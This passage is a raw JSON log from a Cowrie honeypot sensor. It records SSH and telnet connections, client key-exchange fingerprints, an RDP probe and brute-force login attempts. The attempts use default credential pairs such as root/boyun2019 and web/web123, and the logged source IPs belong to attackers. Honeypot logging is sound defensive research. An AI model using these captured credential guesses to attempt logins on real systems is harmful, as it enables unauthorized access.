group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:45.289450Z","src_ip":"43.156.96.97","session":"ae4f628172ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:45.600085Z","src_ip":"31.40.204.166","session":"c9f580a7f0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boyun2019","message":"login attempt [root/boyun2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:46.246917Z","src_ip":"43.156.96.97","session":"ae4f628172ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:46.792386Z","src_ip":"31.40.204.166","session":"c9f580a7f0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38226,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0e014f4adb","protocol":"telnet","message":"New connection: 152.42.224.71:38226 (10.17.0.5:23) [session: ab0e014f4adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:46.948669Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60478,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dcf66eb5515","protocol":"ssh","message":"New connection: 152.42.212.128:60478 (159.203.135.109:22) [session: 9dcf66eb5515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:47.244428Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:47.249191Z","src_ip":"152.42.212.128","session":"9dcf66eb5515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:47.252559Z","src_ip":"152.42.212.128","session":"9dcf66eb5515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:47.486437Z","src_ip":"43.156.96.97","session":"ae4f628172ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38232,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2b0063c27ee","protocol":"telnet","message":"New connection: 152.42.224.71:38232 (10.17.0.5:23) [session: c2b0063c27ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:51.489213Z"}
{"eventid":"cowrie.session.closed","duration":42.70034980773926,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:52.645215Z","src_ip":"152.42.224.71","session":"9e7049a03b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60864,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcc9c914654","protocol":"telnet","message":"New connection: 152.42.224.71:60864 (10.17.0.5:23) [session: bdcc9c914654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:55.845812Z"}
{"eventid":"cowrie.session.closed","duration":42.65029788017273,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:56.580208Z","src_ip":"152.42.224.71","session":"085af2e0cdff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47152,"dst_ip":"159.203.135.109","dst_port":22,"session":"190976a65ae9","protocol":"ssh","message":"New connection: 31.40.204.166:47152 (159.203.135.109:22) [session: 190976a65ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:56.879699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:56.982311Z","src_ip":"31.40.204.166","session":"190976a65ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:57.082605Z","src_ip":"31.40.204.166","session":"190976a65ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:57.628024Z","src_ip":"31.40.204.166","session":"190976a65ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:58.894455Z","src_ip":"31.40.204.166","session":"190976a65ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60880,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8e3b15bc4e","protocol":"telnet","message":"New connection: 152.42.224.71:60880 (10.17.0.5:23) [session: 5c8e3b15bc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:59.737046Z"}
{"eventid":"cowrie.session.closed","duration":25.52168035507202,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:01.649322Z","src_ip":"152.42.224.71","session":"beb014a768c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.00111365318298,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:02.371758Z","src_ip":"152.42.224.71","session":"1cfa576366e7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:02.774686Z","src_ip":"47.237.167.49","session":"790703423107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:02.779863Z","src_ip":"47.237.167.49","session":"790703423107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.812297344207764,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:02.795583Z","src_ip":"152.42.224.71","session":"e0b3cb687aed","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:06.580353Z","src_ip":"47.237.167.49","session":"72c12c531a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:06.591320Z","src_ip":"47.237.167.49","session":"72c12c531a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45210,"dst_ip":"159.203.135.109","dst_port":22,"session":"5228a86e9b75","protocol":"ssh","message":"New connection: 31.40.204.166:45210 (159.203.135.109:22) [session: 5228a86e9b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:10.785213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:10.804217Z","src_ip":"31.40.204.166","session":"5228a86e9b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:10.913388Z","src_ip":"31.40.204.166","session":"5228a86e9b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.907713651657104,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:11.118156Z","src_ip":"152.42.224.71","session":"8045ba23f97a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:11.487166Z","src_ip":"31.40.204.166","session":"5228a86e9b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53014,"dst_ip":"10.17.0.5","dst_port":23,"session":"16be5a90afc4","protocol":"telnet","message":"New connection: 152.42.224.71:53014 (10.17.0.5:23) [session: 16be5a90afc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:11.748128Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:12.689668Z","src_ip":"31.40.204.166","session":"5228a86e9b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53018,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac40b55e4cb","protocol":"telnet","message":"New connection: 152.42.224.71:53018 (10.17.0.5:23) [session: 6ac40b55e4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:12.775416Z"}
{"eventid":"cowrie.session.closed","duration":33.29610276222229,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:15.098367Z","src_ip":"152.42.224.71","session":"b822f9069a3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.33560848236084,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:16.900466Z","src_ip":"152.42.224.71","session":"f8a5364f0c0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47180,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dea67534768","protocol":"ssh","message":"New connection: 31.40.204.166:47180 (159.203.135.109:22) [session: 9dea67534768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:22.881339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:22.886286Z","src_ip":"31.40.204.166","session":"9dea67534768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:23.015343Z","src_ip":"31.40.204.166","session":"9dea67534768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.10077905654907,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:23.117928Z","src_ip":"152.42.224.71","session":"a7213ec899ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:23.714614Z","src_ip":"31.40.204.166","session":"9dea67534768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34342,"dst_ip":"10.17.0.5","dst_port":23,"session":"73279252e25c","protocol":"telnet","message":"New connection: 152.42.224.71:34342 (10.17.0.5:23) [session: 73279252e25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:24.754012Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:24.886701Z","src_ip":"31.40.204.166","session":"9dea67534768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.88834285736084,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:25.252431Z","src_ip":"152.42.224.71","session":"874ff9f47771","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55472,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d6d49a86da3","protocol":"telnet","message":"New connection: 152.42.224.71:55472 (10.17.0.5:23) [session: 9d6d49a86da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:29.034458Z"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:30.035557Z","src_ip":"47.237.167.49","session":"790703423107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:30.132374Z","src_ip":"47.237.167.49","session":"72c12c531a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.286783933639526,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:32.235312Z","src_ip":"152.42.224.71","session":"ab0e014f4adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"91.7","message":"Connection lost after 91.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:32.826184Z","src_ip":"47.237.167.49","session":"790703423107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"73.2","message":"Connection lost after 73.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:32.884803Z","src_ip":"47.237.167.49","session":"72c12c531a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55476,"dst_ip":"10.17.0.5","dst_port":23,"session":"f029c5996bfb","protocol":"telnet","message":"New connection: 152.42.224.71:55476 (10.17.0.5:23) [session: f029c5996bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:33.120211Z"}
{"eventid":"cowrie.session.closed","duration":120.00229716300964,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:34.293504Z","src_ip":"152.42.224.71","session":"abe25d7ab026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.834392547607422,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:34.609694Z","src_ip":"152.42.224.71","session":"6ac40b55e4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55478,"dst_ip":"10.17.0.5","dst_port":23,"session":"812632367e23","protocol":"telnet","message":"New connection: 152.42.224.71:55478 (10.17.0.5:23) [session: 812632367e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:35.138055Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53394,"dst_ip":"159.203.135.109","dst_port":22,"session":"edce72ae2994","protocol":"ssh","message":"New connection: 31.40.204.166:53394 (159.203.135.109:22) [session: edce72ae2994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:35.415672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:30:35.420870Z","src_ip":"31.40.204.166","session":"edce72ae2994","protocol":"ssh"}
